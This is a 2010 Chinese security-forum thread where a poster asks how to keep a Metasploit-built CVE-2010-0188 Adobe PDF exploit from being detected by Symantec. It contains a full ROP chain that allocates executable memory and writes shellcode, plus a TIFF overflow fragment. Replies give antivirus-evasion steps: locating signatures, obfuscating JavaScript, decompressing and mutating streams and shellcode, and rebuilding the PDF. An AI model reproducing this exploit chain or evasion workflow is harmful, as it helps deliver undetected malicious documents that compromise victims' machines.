首页
社区
课程
招聘
[求助]pdf病毒是怎么样查杀的?
发表于: 2010-11-1 15:54 15707

[求助]pdf病毒是怎么样查杀的?

2010-11-1 15:54
15707
我用metasploit生成CVE-2010-0188的漏洞利用文件,但是不管我怎么改都被symantec给杀了,不知道是什么原因,请各位大侠指点。

rb原脚本在这里:http://packetstormsecurity.org/1003-exploits/adobe_libtiff.rb.txt

我的一点点猜想。
从这个POC来看,一个pdf文件漏洞病毒有三部门组成:
<1>针对漏洞构造的文件格式
x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00
<2>exploit代码绕过DEP
<3>shellcode

这三个部分我都修改了,但是symantec还是能准确的报出是Trojan.Pidief.I病毒。。。。疯掉了。

<1>我修改了长度和偏移量
<2>修改成利用ntdll, rpcrt4.dll中的指令
<3>shellcode是metasploit里通用的东西

所以想知道,杀毒软件是怎么分析这种文件格式漏洞病毒的呢?难道它解析了文件格式?

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (25)
雪    币: 1491
活跃值: (975)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
2
高深的东西,不懂
2010-11-1 16:20
0
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
3
把你自己改的贴上来看看。
2010-11-1 16:24
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
仙果大牛,我看过你好几篇关于adobe漏洞的好文,请指点一下怎么做免杀。
PS:我是为了测试公司内部的安全防范,不是为了恶意利用。
2010-11-1 16:26
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
主要是改了绕过DEP的栈数据,栈数据利用主要xpsp2的ntdll.dll中代码。
文件格式我就是改改长度和偏移之类的。
shellcode是metasploit中通用的,报的病毒类型非常准确,所以和shellcode应该没什么关系。

stack_data = [
			#构造过程
			0x00105092,    # anything
			0x10124,          # ==>ebp
			0x7C9013C3,    # pop edx / ret
			0x10104,
			0x7C96BD42,    # pop ecx / ret
			0x1000,
			0x7C971977,    # mov [edx], ecx / ret
			0x7C9013C3,    # pop edx / ret
			0x10100,
			0x7C96BD42,    # pop ecx / ret
			0x0,
			0x7C971977,    # mov [edx], ecx / ret
			0x7C90D4DE,    # call NtAllocateVirtualMemory
			0x7C9013C3,    # pop edx / ret
			0xffffffff,    # para1-> ProcessHandle
			0x10100,       # para2-> *BaseAddress
			0x0,           # para3-> ZeroBits
			0x10104,       # para4-> RegionSize
			0x1000,        # para5-> AllocationType
			0x40,          # para6-> Protect
			0x100FC,       # 
			0x7C939D3C,    # mov eax, [edx+4] / ret
			0x7C96BD42,    # pop ecx / ret
			0x26a525a,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0x3c2ecd58,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0xf4745a05,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0x2a4949b8,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0xaffa8b00,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0xfe87ea75,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0xb95f0aeb,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0x3e0,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0x9eba5f3,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0xfffff1e8,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0x909090ff,
			0x7C951376,    # mov [eax], ecx / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x77EA18DA,    # add eax, 2 / ret
			0x7C96BD42,    # pop ecx / ret
			0x90ffffff,
			0x7C951376,    # mov [eax], ecx / ret
			0x7C939D3C,    # mov eax, [edx+4] / ret
			0x7C90EAC5     # call eax / ret
		]
2010-11-1 16:40
0
雪    币: 1491
活跃值: (975)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
6
还真不懂怎么做免杀,
没有做过
杀的话应该是文件格式有关吧,
2010-11-1 17:46
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
7
你先找到特征码再才能做 ,直接这么大的一个文档分析 难办。
你把里面的JS 提取出来然后放到记事本 看杀软杀不杀,
2010-11-1 17:58
0
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
8
[QUOTE=pearkiller;882136]主要是改了绕过DEP的栈数据,栈数据利用主要xpsp2的ntdll.dll中代码。
文件格式我就是改改长度和偏移之类的。
shellcode是metasploit中通用的,报的病毒类型非常准确,所以和shellcode应该没什么关系。

stack_data = [
                        #构造过程
...[/QUOTE]

我的意思是放你做好的pdf,也就是所谓的样本。
2010-11-1 18:02
0
雪    币: 21
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
回楼主:

某些杀软通过你修改的(1),(2),(3)部分的特征加权,判断是否恶意。

私认为对于Libtiff漏洞,杀毒软件可以直接检查流中是否包含Tiff,然后检查Tiff中的溢出字段,若为非正常数据,报毒,如果是这样查杀,那么该漏洞基本无免杀可能性。
2010-11-2 08:58
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
如果真的像你猜测的这样,那可能真的没有免杀方法了。
但是我觉得如果针对一种病毒,病毒库里的数据应该不会太多。如果去解码pdf,提取出tiff,再解释tiff,这个工作量很大啊。还有杀软自己涉及到具体文件格式的话,它又如何保证自己解析的没有漏洞呢?
并且,文件格式太多了,还有些事私用格式呢。doc格式,wps格式,邮件格式,zip格式什么的每种病毒都要解析,杀毒软件能受得了吗?

哪里有杀软杀文件格式类漏洞的文档可以参考学习一下吗?

TO nkspark:
我的网络,不能上传文件
2010-11-2 12:17
0
雪    币: 21
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
我只是指Libtiff溢出这个漏洞。

你看一下,你都能直接在Tiff图片二进制里面轻松的定位到溢出参数,然后修改长度和偏移。

杀毒软件只是把这个过程自动化了嘛。

对于你后面说的那些格式,确实杀毒软件不能够做到一一解析,大部分还是通过某些特征来判断的,所以免杀某

些文档是可能的,例如MS07-014,现在都有能过的。

PS:你说的那些文档,我没有见过。
2010-11-2 13:46
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
tiff嵌入到pdf中,再找到tiff的溢出点就没那么方便了,需要先Zlib:Inflate.inflate然后从解出来的xml中把tiff标签抠出来,再把tiff数据解码出来,然后才能去找他的溢出点。

请问pende大侠,ms07-014做免杀的思路是什么呢?
2010-11-2 15:29
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
沉了,upupupup!
2010-11-3 11:52
0
雪    币: 345
活跃值: (122)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
14
以我自己的测试看,norton对tiff文件的格式进行了解析,所以当长度字节超过特定值时即认为是恶意文档。

这个洞,应该已经是被查死了。
2010-11-3 15:27
0
雪    币: 146
活跃值: (92)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
1.Symantec报文件有问题还是执行时报病毒。估计是直接报文件。
2.如果是文件,看看是不是shellcode的问题。可能不是。
3.如果是利用文件的格式有问题,改文件格式;如果是shellcode,改shellcode
2010-11-3 16:57
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
首现改JS,确保JS不被杀。
2010-11-8 21:50
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
1111111111111
2010-11-9 11:01
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
具体嗲呢?不是太清楚
2010-11-9 11:05
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
最近也在修改一个PDF,但是没有找到什么方法呢,只知道是流对象中FlateDecode这里面的问题。希望有高手给点意见。
2010-11-18 08:46
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
把FlateDecode解开就是了,杀哪改哪,改完压回去,对PDF过杀软不是很难
2010-11-20 02:20
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
需要规避杀软的特征查杀和内存查杀的,特征查杀好办,JS有特别灵活的变形方法。内存查杀和PE反调试很相似,需要利用杀软的内存查杀机制让杀软傻掉。
2010-11-29 09:23
0
雪    币: 238
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
1、首先判断是否是杀机制,如果是,没什么太大办法;
2、如果不是,把压缩部分解压,可以用VC + ZLIB的办法;
3、用OD定位到SHELLCODE,做少量变形;
4、压缩回去;
5、重新修改PDF的索引表;
2010-11-29 09:59
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
[QUOTE=Rolbinal;896251]需要规避杀软的特征查杀和内存查杀的,特征查杀好办,JS有特别灵活的变形方法。内存查杀和PE反调试很相似,需要利用杀软的内存查杀机制让杀软傻掉。[/QUOTE]

我刚看到这句话,球细节?!@
2011-2-25 08:39
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
不行的,这个是直接分析了格式,整个漏洞都被堵死了
2011-2-25 12:57
0
雪    币: 92
活跃值: (154)
能力值: ( LV8,RANK:135 )
在线值:
发帖
回帖
粉丝
25
你尝试着去做一下免杀,再确定到底是哪个地方被杀...
2011-3-2 16:55
0
游客
登录 | 注册 方可回帖
返回
//